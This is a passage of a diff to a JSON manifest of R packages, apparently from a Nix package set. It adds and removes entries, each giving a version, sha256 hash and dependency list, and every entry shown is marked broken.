"0c5803chpzvp7dk9pjfx5f0nqynb76ywakz04ah2nw07ypvcyjyr", + "depends": ["httr", "jsonlite"], + "broken": true + }, "RaProR": { "name": "RaProR", "version": "1.1-5", @@ -140967,6 +141123,13 @@ "depends": ["FactoMineR", "MASS", "SearchTrees", "class", "cluster", "conclust", "corrplot", "e1071", "factoextra", "ggplot2", "jpeg", "knitr", "mclust", "mda", "mmand", "nnet", "png", "randomForest", "reshape", "rlang", "sp", "stringi", "stringr", "tcltk2", "tkrplot"], "broken": true }, + "RcmdrPlugin_EcoVirtual": { + "name": "RcmdrPlugin.EcoVirtual", + "version": "1.0", + "sha256": "0q879wnrmgbaddv883q9zdnp0i7kjcgn8cffv7lp8nrsqil6l7mc", + "depends": ["EcoVirtual", "Rcmdr"], + "broken": true + }, "RcmdrPlugin_FuzzyClust": { "name": "RcmdrPlugin.FuzzyClust", "version": "1.1", @@ -140974,6 +141137,13 @@ "depends": ["clue", "doParallel", "foreach", "ggplot2", "iterators", "MASS", "Rcmdr", "reshape2", "tcltk2", "tkrplot"], "broken": true }, + "RcmdrPlugin_GWRM": { + "name": "RcmdrPlugin.GWRM", + "version": "1.0.2", + "sha256": "01q4k9s815pgd5cavm6nyxy5npmpxryari9v6wys4n5cjpn5g6xq", + "depends": ["GWRM", "Rcmdr", "RcmdrMisc"], + "broken": true + }, "RcmdrPlugin_IPSUR": { "name": "RcmdrPlugin.IPSUR", "version": "0.2-1.1", @@ -141247,6 +141417,13 @@ "depends": ["ggplot2", "Matrix", "reticulate"], "broken": true }, + "RmarineHeatWaves": { + "name": "RmarineHeatWaves", + "version": "0.17.0", + "sha256": "09lrrxnkkfnbidnmag1czx2xzssdl09348nkc6pqgq6xz36a3mqc", + "depends": ["dplyr", "ggplot2", "lazyeval", "lubridate", "plyr", "raster", "rlang", "tibble", "tidyr", "zoo"], + "broken": true + }, "RmixmodCombi": { "name": "RmixmodCombi", "version": "1.0", @@ -141275,6 +141452,13 @@ "depends": ["data_table", "igraph", "markovchain", "tm"], "broken": true }, + "RobustCalibration": { + "name": "RobustCalibration", + "version": "0.5.5", + "sha256": "0ilbj88bgjymyyn7jh7dnxhhba7xrmpsnhkwr1cr53zd9rpywfdf", + "depends": ["Rcpp", "RcppEigen", "RobustGaSP", "nloptr"], + "broken": true + }, "Rodam": { "name": "Rodam", "version": "0.1.14", @@ -141317,6 +141501,13 @@ "depends": ["Rcpp", "RcppArmadillo", "Rdpack"], "broken": true }, + "Rquefts": { + "name": "Rquefts", + "version": "1.2-4", + "sha256": "144hmgapzk8w2cv0gmyr67ivs683djv7k8i0ciihb4gl7rp55ppg", + "depends": ["Rcpp", "meteor"], + "broken": true + }, "Rrdrand": { "name": "Rrdrand", "version": "0.1-16", @@ -141324,6 +141515,13 @@ "depends": [], "broken": true }, + "RsimMosaic": { + "name": "RsimMosaic", + "version": "1.0.3", + "sha256": "0jlzrs9xxlpazvq3iw8znk0bd00bzlry7bgxsxq7xl23akizj0ji", + "depends": ["RANN", "fields", "jpeg"], + "broken": true + }, "RstoxData": { "name": "RstoxData", "version": "1.2.1", @@ -141464,6 +141662,13 @@ "depends": ["Rcpp", "RcppArmadillo"], "broken": true }, + "SC_MEB": { + "name": "SC.MEB", + "version": "1.1", + "sha256": "04vv1ckirfmjvb3hfk3ldma96j4c6ykjgf77f13n550cvp2bhp3w", + "depends": ["BiocSingular", "Matrix", "Rcpp", "RcppArmadillo", "S4Vectors", "SingleCellExperiment", "SummarizedExperiment", "ggplot2", "mclust", "purrr", "scater", "scran"], + "broken": true + }, "SCAT": { "name": "SCAT", "version": "0.5.0", @@ -141856,6 +142061,13 @@ "depends": ["Rcpp", "RcppArmadillo"], "broken": true }, + "SYNCSA": { + "name": "SYNCSA", + "version": "1.3.4", + "sha256": "0n9za302x638s666xs86zy94qch9wn0rln8xy6x9jymhhq9zn0kj", + "depends": ["FD", "RcppArmadillo", "permute", "vegan"], + "broken": true + }, "Sample_Size": { "name": "Sample.Size", "version": "1.0", @@ -141884,6 +142096,13 @@ "depends": [], "broken": true }, + "ScorePlus": { + "name": "ScorePlus", + "version": "0.1", + "sha256": "07hmrx1k256i4cs605j5bpg6brzypryxlcnjkzqak8cw4f26k24q", + "depends": ["RSpectra", "combinat", "igraph", "igraphdata", "limSolve"], + "broken": true + }, "SecDim": { "name": "SecDim", "version": "3.2", @@ -141968,6 +142187,13 @@ "depends": ["MASS", "cluster", "nlme"], "broken": true }, + "SensusR": { + "name": "SensusR", + "version": "2.3.1", + "sha256": "1x1a8vnpn6h7905wa4lvf7vibkl2dsa4yyg2sg4bbi719lcki2q0", + "depends": ["R_utils", "ggmap", "ggplot2", "jsonlite", "lubridate", "openssl", "plyr"], + "broken": true + }, "SeqNet": { "name": "SeqNet", "version": "1.1.3", @@ -142108,6 +142334,13 @@ "depends": ["ggplot2", "globaltest", "lcmm", "lme4", "magic", "mvtnorm", "reshape2"], "broken": true }, + "SmCCNet": { + "name": "SmCCNet", + "version": "2.0.3", + "sha256": "16kw1nk0y8v2dg4akv5biwznx6a0pv754453r3ymfxw7qjrknyqc", + "depends": ["EnvStats", "Matrix", "furrr", "future", "igraph", "magrittr", "pROC", "pbapply", "pracma", "purrr", "rlist", "spls"], + "broken": true + }, "SmoothWin": { "name": "SmoothWin", "version": "3.0.0", @@ -142304,13 +142537,6 @@ "depends": ["MASS", "mvtnorm"], "broken": true }, - "SticsRFiles": { - "name": "SticsRFiles", - "version": "1.5.0", - "sha256": "0aw1crzji95dik556q29kxrjph80x2gx6ba1rm47l9301k6scj1k", - "depends": ["XML", "cli", "crayon", "curl", "data_table", "dplyr", "lifecycle", "lubridate", "rlang", "rstudioapi", "stringr", "tibble", "tidyr", "tidyselect", "xml2", "xslt"], - "broken": true - }, "StrucDiv": { "name": "StrucDiv", "version": "0.2.1", @@ -142346,6 +142572,13 @@ "depends": ["igraph", "XML"], "broken": true }, + "SubpathwayLNCE": { + "name": "SubpathwayLNCE", + "version": "1.0", + "sha256": "051csjavr9549y54yirfdn266i7swsvpbcakhziyz4sl4afwx5kl", + "depends": ["BiasedUrn", "RBGL", "graph", "igraph"], + "broken": true + }, "Sunder": { "name": "Sunder", "version": "0.0.4", @@ -142374,6 +142607,13 @@ "depends": ["BH", "Rcpp", "RcppCGAL", "RcppEigen", "rgl", "Rvcg"], "broken": true }, + "SurrogateRsq": { + "name": "SurrogateRsq", + "version": "0.2.1", + "sha256": "1g77cwp5cdldhqlp3k7f7pzxjww2pxgr842qd3fr2k0gzg2s246a", + "depends": ["MASS", "PAsso", "progress", "scales"], + "broken": true + }, "SurvGSD": { "name": "SurvGSD", "version": "1.0.0", @@ -142514,6 +142754,13 @@ "depends": ["boot", "chron", "doParallel", "doSNOW", "dplyr", "foreach", "lhs", "lubridate", "magrittr", "msm", "randtoolbox", "sensitivity", "solaR", "tibble", "zoo"], "broken": true }, + "TRMF": { + "name": "TRMF", + "version": "0.2.1", + "sha256": "1ar4shr2r58ksk7lzi3dwinp06d7inffrfmnvyb1s289swxg9a1w", + "depends": ["Matrix", "generics", "limSolve"], + "broken": true + }, "TSMCP": { "name": "TSMCP", "version": "1.0", @@ -142675,13 +142922,6 @@ "depends": ["MASS", "pracma", "tensorregress"], "broken": true }, - "TestGenerator": { - "name": "TestGenerator", - "version": "0.3.3", - "sha256": "0x4rmmxmvn9wmxl9gj1fx938k3a60hn9xmsa79xnd6arfdl882fq", - "depends": ["CDMConnector", "DBI", "arrow", "checkmate", "cli", "dplyr", "duckdb", "ggplot2", "glue", "jsonlite", "openxlsx", "readr", "readxl", "rlang", "testthat", "tibble", "withr"], - "broken": true - }, "Thermistor": { "name": "Thermistor", "version": "1.1.0", @@ -142787,6 +143027,13 @@ "depends": ["ape", "deSolve", "Matrix", "subplex", "TreeSim"], "broken": true }, + "TrendSLR": { + "name": "TrendSLR", + "version": "1.0", + "sha256": "1x8j2dg3m7b22gva33y4s318a41wl60sz93y868z4j65hp13jb5k", + "depends": ["Rssa", "changepoint", "forecast", "imputeTS", "plyr", "tseries", "zoo"], + "broken": true + }, "TrustVDJ": { "name": "TrustVDJ", "version": "0.1.0", @@ -143298,6 +143545,13 @@ "depends": ["geosphere", "ggplot2", "googledrive", "gstat", "gtsummary", "kableExtra", "maps", "purrr", "raster", "rnaturalearth", "sf", "sp", "swfscMisc", "table1", "tmap"], "broken": true }, + "abn": { + "name": "abn", + "version": "3.1.1", + "sha256": "1sixgahjcy82yiiixgxiqbm8jcajqz0m3h0hwwm202iwzi3vyhiv", + "depends": ["Rcpp", "RcppArmadillo", "Rgraphviz", "doParallel", "foreach", "graph", "lme4", "mclogit", "nnet", "rjags", "stringi"], + "broken": true + }, "acmeR": { "name": "acmeR", "version": "1.1.0", @@ -143522,6 +143776,20 @@ "depends": ["ape", "coda", "cubature", "pbapply", "quantreg"], "broken": true }, + "apc": { + "name": "apc", + "version": "2.0.0", + "sha256": "0vh6iyxm46k8sfa1xgz0y6m619snnm8s072kml5qgiiw5s7bqnpq", + "depends": ["AER", "ChainLadder", "ISLR", "car", "ggplot2", "lattice", "lmtest", "plm", "plyr", "reshape", "survey"], + "broken": true + }, + "aphylo": { + "name": "aphylo", + "version": "0.3-4", + "sha256": "06zccdhvcyjxzx71rark0jn1wj9d0kjvpv063x9p46ywy5ibcvk5", + "depends": ["MASS", "Matrix", "Rcpp", "ape", "coda", "fmcmc", "xml2"], + "broken": true + }, "appler": { "name": "appler", "version": "0.2.1", @@ -143550,6 +143818,13 @@ "depends": ["ape", "brranching", "phytools", "taxize", "xml2"], "broken": true }, + "archivist_github": { + "name": "archivist.github", + "version": "0.2.6", + "sha256": "092fzi505vx9xbk41m86d0isxna42iflp7q2kjiqa6z1ccvim2yx", + "depends": ["archivist", "digest", "git2r", "httr", "jsonlite"], + "broken": true + }, "arcos": { "name": "arcos", "version": "1.27", @@ -143592,6 +143867,13 @@ "depends": ["BH", "ggplot2", "lme4", "loo", "Rcpp", "RcppEigen", "RcppParallel", "rstan", "rstantools", "StanHeaders"], "broken": true }, + "artfima": { + "name": "artfima", + "version": "1.5", + "sha256": "1nqsq9fsqk9kag9n7i2r9yvf578nkdfrkkv7qy8650prka0jca2p", + "depends": ["gsl", "ltsa"], + "broken": true + }, "asVPC": { "name": "asVPC", "version": "1.0.2", @@ -143879,13 +144161,6 @@ "depends": ["rscala"], "broken": true }, - "banter": { - "name": "banter", - "version": "0.9.6", - "sha256": "07gzl06l7iw4czdx3il3p8kl83yw32fxa8cjx1j018z3468m1qyj", - "depends": ["dplyr", "ggplot2", "gridExtra", "magrittr", "randomForest", "rfPermute", "rlang", "swfscMisc", "tibble", "tidyr"], - "broken": true - }, "barplot3d": { "name": "barplot3d", "version": "1.0.1", @@ -143984,6 +144259,13 @@ "depends": ["coda", "lattice", "MASS", "MCMCpack", "RColorBrewer"], "broken": true }, + "bazar": { + "name": "bazar", + "version": "1.0.11", + "sha256": "1q2w5pvlb51lzbb5k719sf1lrhffandkfqlcvi2prw4dmq7qjxv9", + "depends": ["kimisc"], + "broken": true + }, "bbefkr": { "name": "bbefkr", "version": "4.2", @@ -144292,6 +144574,13 @@ "depends": ["diptest", "doParallel", "foreach", "ks", "maps", "picante", "raster", "rgdal", "rgeos", "sp", "spatstat_geom", "vegan"], "broken": true }, + "birp": { + "name": "birp", + "version": "0.0.3", + "sha256": "048cmam746jg2hvjl2cmxiymfzqx3lz1kgh7mdwsi61wi6g591fh", + "depends": ["MASS", "Rcpp", "RcppArmadillo"], + "broken": true + }, "bisect": { "name": "bisect", "version": "0.9.0", @@ -144537,6 +144826,13 @@ "depends": ["BH", "coda", "DiagrammeR", "lattice", "magrittr", "Rcpp", "RcppEigen", "rstan", "rstantools", "shiny", "StanHeaders", "viridis", "visNetwork"], "broken": true }, + "bssn": { + "name": "bssn", + "version": "1.0", + "sha256": "1brxbvcvqy8n9xpvp5kz47x5ps8hdqgnh6s49051qaylp95qm432", + "depends": ["ClusterR", "mvtnorm", "sn", "ssmn"], + "broken": true + }, "bucky": { "name": "bucky", "version": "1.0.7", @@ -144824,6 +145120,13 @@ "depends": ["ConsensusClusterPlus", "SNFtool", "diceR", "ggplot2", "plyr", "tidyr"], "broken": true }, + "ccrs": { + "name": "ccrs", + "version": "0.1.0", + "sha256": "1nyw4ip9v7y6yfbfdz3bwhy4r6hpp1hiip3ycldxlkl9wrxkxgrw", + "depends": ["cds", "colorspace", "dplyr", "limSolve", "lsbclust", "msm"], + "broken": true + }, "cdb": { "name": "cdb", "version": "0.0.1", @@ -144838,6 +145141,13 @@ "depends": ["dplyr", "httr", "jsonlite", "MMWRweek", "progress", "purrr", "readr", "sf", "tibble", "units", "xml2"], "broken": true }, + "cds": { + "name": "cds", + "version": "1.0.4", + "sha256": "1cyfx13ixgyayxbznj3jjwpm52sfp7z11x5yn77ks0lw0xsv89fm", + "depends": ["MASS", "clue", "colorspace", "copula", "limSolve"], + "broken": true + }, "cec2013": { "name": "cec2013", "version": "0.1-5", @@ -144908,6 +145218,13 @@ "depends": ["cli", "data_table", "dplyr", "glue", "httr", "janitor", "jsonlite", "magrittr", "mgcv", "nnet", "progressr", "purrr", "Rcpp", "RcppParallel", "rlang", "stringr", "tibble", "tidyr"], "broken": true }, + "cgaim": { + "name": "cgaim", + "version": "1.0.1", + "sha256": "1krs61rbnz7v4pncbjlil4728x5xyz5vzbyj487njbmqgymq10wl", + "depends": ["MASS", "Matrix", "TruncatedNormal", "cgam", "coneproj", "doParallel", "foreach", "gratia", "limSolve", "mgcv", "osqp", "quadprog", "scam", "scar"], + "broken": true + }, "cgalMeshes": { "name": "cgalMeshes", "version": "2.2.0", @@ -144950,6 +145267,13 @@ "depends": ["ggplot2", "survival"], "broken": true }, + "ch": { + "name": "ch", + "version": "0.1.0.2", + "sha256": "1ryh2xr1ix4qznq1svi4gdr4qy6v6rg597z2zl6zw32s2xq6ssx6", + "depends": ["MASS", "Ryacas", "clipr", "crayon", "ggplot2", "magrittr", "polynom", "pracma"], + "broken": true + }, "changeRangeR": { "name": "changeRangeR", "version": "1.1.0", @@ -145146,6 +145470,13 @@ "depends": ["foreach", "lassoshooting"], "broken": true }, + "cloudml": { + "name": "cloudml", + "version": "0.6.1", + "sha256": "1j15q9yb2rc4fbjxfh21fiq6is8dnb8nfyi7g8iazgfwb3p9ahpx", + "depends": ["config", "jsonlite", "packrat", "processx", "rprojroot", "rstudioapi", "tfruns", "withr", "yaml"], + "broken": true + }, "clpAPI": { "name": "clpAPI", "version": "1.3.1", @@ -145251,6 +145582,13 @@ "depends": ["magrittr"], "broken": true }, + "colocr": { + "name": "colocr", + "version": "0.1.1", + "sha256": "0ijykza6fdmwbr5zbyfjf382anrxh0lb9hlallyawfi6z076fv7j", + "depends": ["imager", "magick", "magrittr", "scales", "shiny"], + "broken": true + }, "coloredICA": { "name": "coloredICA", "version": "1.0.0", @@ -145272,6 +145610,13 @@ "depends": ["cli", "curl", "ggplot2", "httr2", "rvest"], "broken": true }, + "colorpatch": { + "name": "colorpatch", + "version": "0.1.2", + "sha256": "18p9hgccp37pbdf437xffkv6z500896v08fsw2jm8zcl9ladygaf", + "depends": ["TSP", "colorspace", "ggplot2", "gridExtra"], + "broken": true + }, "colortools": { "name": "colortools", "version": "0.1.5", @@ -145503,6 +145848,13 @@ "depends": ["utf8"], "broken": true }, + "corrarray": { + "name": "corrarray", + "version": "1.2.0", + "sha256": "1hsk425xjz9p3wwvia7h78dg24qsr5r977xm2ap5z40ah1bw7bzi", + "depends": ["Hmisc"], + "broken": true + }, "corregp": { "name": "corregp", "version": "2.0.2", @@ -145510,6 +145862,13 @@ "depends": ["data_table", "diagram", "ellipse", "gplots", "rgl"], "broken": true }, + "corrgrapher": { + "name": "corrgrapher", + "version": "1.0.4", + "sha256": "0s10n2av6dyjz6x4wvznpcbvpp63v6k3r9whkqsg7fiy9m3d4dr9", + "depends": ["ggplot2", "htmltools", "ingredients", "knitr", "visNetwork"], + "broken": true + }, "cort": { "name": "cort", "version": "0.3.2", @@ -145692,6 +146051,13 @@ "depends": [], "broken": true }, + "crossword_r": { + "name": "crossword.r", + "version": "0.3.6", + "sha256": "1s31613s4qxxspka9bhgq3rq8xraf48mwfv6phvz6v06gijh64lr", + "depends": ["R6", "dplyr", "jsonlite", "magrittr", "r6extended", "stringr"], + "broken": true + }, "crplyr": { "name": "crplyr", "version": "0.4.0", @@ -145706,6 +146072,13 @@ "depends": ["cmprsk", "Matrix", "survival"], "broken": true }, + "crsra": { + "name": "crsra", + "version": "0.2.3", + "sha256": "1rkqm88zmvp9gw442cby6qpvfw4pfw65wz0gyl2h37w87c3wwvrw", + "depends": ["digest", "dplyr", "knitr", "purrr", "rcorpora", "readr", "tibble", "tidytext"], + "broken": true + }, "crtests": { "name": "crtests", "version": "0.2.1", @@ -145748,6 +146121,27 @@ "depends": [], "broken": true }, + "cta": { + "name": "cta", + "version": "1.3.0", + "sha256": "1i8psw6p6f4633ad17apm6v5ikrpv1dagm0s8pggpsjbbw8d655v", + "depends": ["intervals", "limSolve", "numDeriv"], + "broken": true + }, + "ctpm": { + "name": "ctpm", + "version": "1.0.1", + "sha256": "1bycdh3mbimmfvv3yb50c8rwcmkbjj0jwnfiynsp2h56y3dmzc1r", + "depends": ["ClusterR", "ape", "ctmm", "slouch"], + "broken": true + }, + "cumSeg": { + "name": "cumSeg", + "version": "1.3", + "sha256": "0n1hp0abnd6zn72fkgkj9k875vivn5kr3q76sjy6q6va7x24j6sg", + "depends": ["lars"], + "broken": true + }, "cuml": { "name": "cuml", "version": "0.2.1", @@ -145923,13 +146317,6 @@ "depends": ["Rook"], "broken": true }, - "dataSDA": { - "name": "dataSDA", - "version": "0.1.0", - "sha256": "0nf7ssk8srpmq0b2bqzm6kilj3m3dhdk7fz35vhzzkj4d2wn9czr", - "depends": ["magrittr", "tidyr"], - "broken": true - }, "databraryr": { "name": "databraryr", "version": "0.6.6", @@ -146000,6 +146387,13 @@ "depends": ["Rcpp"], "broken": true }, + "datastepr": { + "name": "datastepr", + "version": "0.0.2", + "sha256": "039yggdj8jdici7hwmkjwgix45lvwjl7rw5h2rfzsm9xaq6vw1z2", + "depends": ["R6", "dplyr", "lazyeval", "magrittr", "tibble"], + "broken": true + }, "datastructures": { "name": "datastructures", "version": "0.2.9", @@ -146126,6 +146520,13 @@ "depends": ["Rcpp"], "broken": true }, + "deepdive": { + "name": "deepdive", + "version": "1.0.4", + "sha256": "0q4jjq11bd52bx0vqjxsh0fz1b72pfy4gpj5p19z7p4czf4a46c6", + "depends": ["data_table", "fastDummies", "plyr", "rpart", "stringr", "treeClust"], + "broken": true + }, "define": { "name": "define", "version": "0.2.9", @@ -146182,6 +146583,13 @@ "depends": ["ClusterR", "Matrix", "Rcpp", "RcppArmadillo", "fields", "spam"], "broken": true }, + "denoiseR": { + "name": "denoiseR", + "version": "1.0.2", + "sha256": "1q5kxiwfkrf2k0gpidzhl4hyzyjcm33rwlw4dan9nkx1181naw9l", + "depends": ["FactoMineR", "Matrix", "irlba"], + "broken": true + }, "denpro": { "name": "denpro", "version": "0.9.2", @@ -146252,6 +146660,13 @@ "depends": ["ggplot2"], "broken": true }, + "dfmeta": { + "name": "dfmeta", + "version": "1.0.0", + "sha256": "0ca48adfhaxac33jmxbynlyg3ak9l5mmjhlr69n4hnz6325gn9vb", + "depends": ["data_table", "ggplot2", "lme4", "plyr"], + "broken": true + }, "dfpk": { "name": "dfpk", "version": "3.5.1", @@ -146385,6 +146800,13 @@ "depends": ["mcmcse"], "broken": true }, + "dirttee": { + "name": "dirttee", + "version": "1.0.2", + "sha256": "1kmchjvm5x3gsvq2dqxr4di2l607j1ivsm75zwggaiwi8yjz9s4c", + "depends": ["MASS", "Matrix", "expectreg", "formula_tools", "mgcv", "nloptr", "provenance", "rlang", "survival"], + "broken": true + }, "discgolf": { "name": "discgolf", "version": "0.2.0", @@ -146518,6 +146940,13 @@ "depends": ["digest", "knitr", "magrittr", "rappdirs", "readxl", "rlang", "rmarkdown", "stringr", "writexl", "xml2", "yaml"], "broken": true }, + "dmri_tracking": { + "name": "dmri.tracking", + "version": "0.1.0", + "sha256": "0aij0n5p6cp75r5b3bfpmhnmz2nixbb4kwacixg66g6kilwj3sis", + "depends": ["rgl"], + "broken": true + }, "dmt": { "name": "dmt", "version": "0.8.20", @@ -146616,6 +147045,13 @@ "depends": ["bit64", "DBI", "dbplyr", "dplyr", "odbc"], "broken": true }, + "dpmr": { + "name": "dpmr", + "version": "0.1.9", + "sha256": "1cnjywkvjb4fhbf4shjmsrq47f1fg2x21hcm1q5512bm0wg9i6jd", + "depends": ["digest", "httr", "jsonlite", "magrittr", "rio"], + "broken": true + }, "dprint": { "name": "dprint", "version": "0.0.4", @@ -146742,13 +147178,6 @@ "depends": ["assertthat", "dplyr", "dyndimred", "dynfeature", "dynutils", "dynwrap", "GA", "ggforce", "ggplot2", "ggraph", "ggrepel", "igraph", "MASS", "patchwork", "purrr", "reshape2", "tibble", "tidygraph", "tidyr", "vipor"], "broken": true }, - "dynsbm": { - "name": "dynsbm", - "version": "0.7", - "sha256": "169yk539vynjbn89q6vs3l3fx7hk8n3i1msa4jws5vypgljc2rir", - "depends": ["RColorBrewer", "Rcpp"], - "broken": true - }, "dynsim": { "name": "dynsim", "version": "1.2.3", @@ -146896,6 +147325,13 @@ "depends": ["bayesm", "cluster", "ggplot2", "GreedyEPL", "gridExtra", "MASS", "Matrix", "mcclust"], "broken": true }, + "effectR": { + "name": "effectR", + "version": "1.0.2", + "sha256": "1icr1sx98x3h8rbky1agdh809arhjqcypyajl7y50yis8a5pkycb", + "depends": ["ggplot2", "reshape2", "rmarkdown", "seqinr", "shiny", "viridis"], + "broken": true + }, "eflm": { "name": "eflm", "version": "0.3.0", @@ -147029,6 +147465,13 @@ "depends": [], "broken": true }, + "endoSwitch": { + "name": "endoSwitch", + "version": "1.0.0", + "sha256": "1cj4skk317ppnayk1ph63vll49vs74fljc25cn1iviwgjq64ly0k", + "depends": ["data_table", "maxLik", "msm"], + "broken": true + }, "endogMNP": { "name": "endogMNP", "version": "0.2-1", @@ -147309,6 +147752,13 @@ "depends": ["cli", "crayon", "dplyr", "extrafont", "ggplot2", "magrittr", "mc2d", "purrr", "readr", "readxl", "rlang", "rstudioapi", "scales", "stringi", "tibble", "tidyr", "vctrs", "viridis"], "broken": true }, + "evclust": { + "name": "evclust", + "version": "2.0.3", + "sha256": "0z707x770rp7y3sii4w0xk61is2ib79mix14x48n942vb11mc91b", + "depends": ["FNN", "Matrix", "R_utils", "limSolve", "mclust", "plyr", "quadprog"], + "broken": true + }, "eventr": { "name": "eventr", "version": "1.0.0", @@ -147323,6 +147773,13 @@ "depends": ["boot", "sandwich", "testthat", "xts", "zoo"], "broken": true }, + "evreg": { + "name": "evreg", + "version": "1.1.1", + "sha256": "10zld5hh6qq92pmr0ajkimjjvnm8a6dhh106w6mpanfz09lvj74f", + "depends": ["evclust"], + "broken": true + }, "exDE": { "name": "exDE", "version": "1.0.0", @@ -147393,6 +147850,13 @@ "depends": ["ape", "commonsMath", "flexclust", "flexmix", "gplots", "matlab", "moments", "NbClust", "plyr", "RColorBrewer", "rJava"], "broken": true }, + "expectreg": { + "name": "expectreg", + "version": "0.53", + "sha256": "0g5py2096dyrcnvgmmba6g796ky150xk63ny6h6ylmajqfcypm1a", + "depends": ["BayesX", "Matrix", "Rcpp", "RcppEigen", "colorspace", "fields", "mboost", "quadprog"], + "broken": true + }, "expert": { "name": "expert", "version": "1.0-0", @@ -147589,6 +148053,13 @@ "depends": ["tis"], "broken": true }, + "fanovaGraph": { + "name": "fanovaGraph", + "version": "1.5", + "sha256": "1hffda52yk24slbgsfdgkpg3vsryfnhlw09r39cbyz483i7xd8d0", + "depends": ["DiceKriging", "igraph", "sensitivity"], + "broken": true + }, "fasi": { "name": "fasi", "version": "1.0.0", @@ -147946,6 +148417,20 @@ "depends": ["data_table", "lattice", "xtable"], "broken": true }, + "flexmixNL": { + "name": "flexmixNL", + "version": "0.0.1", + "sha256": "0bk5v0cnsn1qkd1b86vj0bnpr4l9d6523kpkgzb1l1sqyscawfmm", + "depends": ["flexmix", "gnm"], + "broken": true + }, + "flifo": { + "name": "flifo", + "version": "0.1.5", + "sha256": "03x66l3ryrjvwbxxd0ncjrb5w9kc7fswmp5psb1cb7r87f395gm3", + "depends": ["bazar", "pryr"], + "broken": true + }, "flightplanning": { "name": "flightplanning", "version": "0.8.4", @@ -148037,6 +148522,13 @@ "depends": ["extrafont", "ggplot2", "hrbrthemes"], "broken": true }, + "foodingraph": { + "name": "foodingraph", + "version": "0.1.0", + "sha256": "0v40yk7lx0zxvpd3vz48h5gzx8ds8v3l12i2r7v9safgfvip6fvn", + "depends": ["cowplot", "dplyr", "ggplot2", "ggraph", "igraph", "labeling", "magrittr", "minerva", "rlang", "stringr", "tibble", "tidyr", "viridis"], + "broken": true + }, "foodweb": { "name": "foodweb", "version": "1-0", @@ -148051,6 +148543,13 @@ "depends": ["magrittr", "rlang"], "broken": true }, + "forImage": { + "name": "forImage", + "version": "0.1.0", + "sha256": "1p8zfndvm7x7pnryphz944hgxcchvc6mwnr6ap15m0i6kwsh0nb4", + "depends": ["dplyr", "magrittr", "reticulate", "tibble"], + "broken": true + }, "forensic": { "name": "forensic", "version": "0.2", @@ -148079,6 +148578,13 @@ "depends": ["sm"], "broken": true }, + "fpcb": { + "name": "fpcb", + "version": "0.1.0", + "sha256": "086060z6r79m527bb9ah6yk2z15xq8x27gyvbz23xbm6mhrxsa1y", + "depends": ["FNN"], + "broken": true + }, "fpmoutliers": { "name": "fpmoutliers", "version": "0.1.0", @@ -148212,6 +148718,13 @@ "depends": [], "broken": true }, + "fuzzyreg": { + "name": "fuzzyreg", + "version": "0.6.2", + "sha256": "056ryj4w26fb4fpy43fgvqs8ijcpm6v503pnzw73d8gxahwkvwl2", + "depends": ["limSolve", "quadprog"], + "broken": true + }, "fwi_fbp": { "name": "fwi.fbp", "version": "1.7", @@ -148282,6 +148795,13 @@ "depends": ["Formula", "MASS", "maxLik", "stringr"], "broken": true }, + "gamlss_countKinf": { + "name": "gamlss.countKinf", + "version": "3.5.1", + "sha256": "1xalp909gxxhyhh4chlr1ssyfhydhw1w3szzbynajji98576zaqv", + "depends": ["gamlss", "gamlss_dist"], + "broken": true + }, "gamlss_nl": { "name": "gamlss.nl", "version": "4.1-0", @@ -148317,6 +148837,13 @@ "depends": ["dials", "dplyr", "magrittr", "parsnip", "purrr", "rlang", "rmgarch", "rugarch", "stringr", "tibble", "tidyr"], "broken": true }, + "gaussDiff": { + "name": "gaussDiff", + "version": "1.1", + "sha256": "0fqjdxp2ibbami75ba16d02dz4rz5sk8mni45di9anydx44g9d45", + "depends": [], + "broken": true + }, "gazepath": { "name": "gazepath", "version": "1.3", @@ -148492,6 +149019,20 @@ "depends": ["cluster", "GEOmap", "RFOC", "RPMG", "RSEIS"], "broken": true }, + "geospt": { + "name": "geospt", + "version": "1.0-5", + "sha256": "060952gblj078r3j246z72c3piviy6gprgsx0w60lyc51k908mz5", + "depends": ["MASS", "TeachingDemos", "fields", "genalg", "gsl", "gstat", "limSolve", "minqa", "plyr", "sgeostat", "sp"], + "broken": true + }, + "geosptdb": { + "name": "geosptdb", + "version": "1.0-1", + "sha256": "1n1jvigavcxlbc5wki74lnhax3060i44m1cvkcr664wsjqhx3kl2", + "depends": ["FD", "StatMatch", "fields", "geospt", "gsl", "limSolve", "minqa", "sp"], + "broken": true + }, "geotech": { "name": "geotech", "version": "1.0", @@ -148583,6 +149124,13 @@ "depends": ["R6", "RSDA", "dplyr", "ggforce", "ggplot2", "ggpubr", "ggthemes", "gridExtra", "gtools", "magrittr", "prodlim", "rlang", "stringr", "tibble", "tidyr", "tidyverse", "vctrs"], "broken": true }, + "ggQC": { + "name": "ggQC", + "version": "0.0.31", + "sha256": "1j9cs97hcj5zmqvn5rjr3gl0b9748s3pv2nb7v66dsyjdwvj7wyy", + "depends": ["dplyr", "ggplot2", "tidyr"], + "broken": true + }, "ggROC": { "name": "ggROC", "version": "1.0", @@ -148688,6 +149236,13 @@ "depends": ["ggplot2", "plotly", "rlang"], "broken": true }, + "ggseas": { + "name": "ggseas", + "version": "0.5.4", + "sha256": "1jpdijwll5l7bg7cmjnklkxffysi9ckzg50rw2a2cd00zwby11q9", + "depends": ["ggplot2", "rlang", "seasonal", "zoo"], + "broken": true + }, "ggsn": { "name": "ggsn", "version": "0.5.0", @@ -148744,6 +149299,20 @@ "depends": ["dplyr", "httr", "miniUI", "purrr", "rstudioapi", "shiny", "tibble"], "broken": true }, + "githubinstall": { + "name": "githubinstall", + "version": "0.2.2", + "sha256": "0hqh86r2007hzdbm8rr0fwqhhsna7ji8sdgmdnrxkxraa5f2pfz3", + "depends": ["curl", "data_table", "devtools", "httr", "jsonlite", "mockery"], + "broken": true + }, + "gkwreg": { + "name": "gkwreg", + "version": "1.0.7", + "sha256": "0ndpq6fxs3h2726yix5aw3dp0160cr2pxlx78d4pibci96vnfgjb", + "depends": ["Formula", "Rcpp", "RcppArmadillo", "RcppEigen", "TMB", "fmsb", "ggplot2", "ggpubr", "gridExtra", "magrittr", "numDeriv", "patchwork", "rappdirs", "reshape2", "scales", "tidyr"], + "broken": true + }, "glacierSMBM": { "name": "glacierSMBM", "version": "0.1", @@ -148772,6 +149341,13 @@ "depends": [], "broken": true }, + "glmglrt": { + "name": "glmglrt", + "version": "0.2.2", + "sha256": "1954ywshnqzr7h77wshf63y3zx3ra8mrfabg5dqjhkgv4rsk3h1y", + "depends": ["MASS", "parameters"], + "broken": true + }, "glmmsr": { "name": "glmmsr", "version": "0.2.3", @@ -148786,13 +149362,6 @@ "depends": [], "broken": true }, - 